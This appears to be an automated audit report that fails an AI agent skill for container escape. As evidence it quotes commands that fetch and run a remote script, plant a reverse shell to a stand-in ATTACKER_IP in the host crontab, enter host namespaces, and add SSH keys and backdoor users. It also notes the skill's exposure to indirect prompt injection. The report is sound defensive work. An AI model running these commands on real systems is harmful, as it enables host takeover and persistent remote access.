offensive-container-escape
Fail
Audited by Gen Agent Trust Hub on Sep 21, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONPERSISTENCECOMMAND_EXECUTIONPRIVILEGE_ESCALATIONEXTERNAL_DOWNLOADSINDIRECT_PROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill instructs the agent to download a shell script from an untrusted GitHub repository (
stealthcopter/deepce) and execute it directly in the environment. - Evidence:
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh && chmod +x deepce.sh && ./deepce.sh. - Evidence: The skill also pipes the output of a local socket request directly into a Python interpreter:
curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool. - [PERSISTENCE]: The skill provides explicit instructions to establish persistence on the host machine after a successful breakout.
- Evidence: Adding attacker SSH keys to
/mnt/host/root/.ssh/authorized_keys. - Evidence: Planting a reverse shell in the host's crontab:
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab. - Evidence: Creating a backdoor user by modifying
/etc/passwdand/etc/shadow. - [COMMAND_EXECUTION]: The skill implements dangerous shell execution patterns, including interactive reverse shells.
- Evidence:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. - [PRIVILEGE_ESCALATION]: The core purpose of the skill is to bypass container isolation and gain host-level privileges.
- Evidence: Use of
nsenterto enter host namespaces:nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash. - Evidence: Direct mounting of host block devices:
mount /dev/sda1 /mnt/host. - Evidence: Abuse of the Docker socket to create new privileged containers.
- [EXTERNAL_DOWNLOADS]: The skill references several security tools hosted on non-trusted GitHub repositories.
- Evidence:
github.com/stealthcopter/deepce,github.com/cdk-team/CDK, andgithub.com/genuinetools/amicontained. - [INDIRECT_PROMPT_INJECTION]: The skill is susceptible to indirect prompt injection as it ingests unsanitized data from the container environment to guide its actions.
- Ingestion points: Reads from
cgroupfiles,mountinfo, andhostname(SKILL.md). - Boundary markers: None provided to distinguish between container data and instructions.
- Capability inventory: High-risk capabilities including file writes, network requests, and command execution.
- Sanitization: No validation or filtering is performed on environment-sourced data before use.
Recommendations
- HIGH: Downloads and executes remote code from: http://localhost/version, https://github.com/stealthcopter/deepce/raw/main/deepce.sh - DO NOT USE without thorough review
- CRITICAL: 1 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
- Contains 2 malicious URL(s) - DO NOT USE
Audit Metadata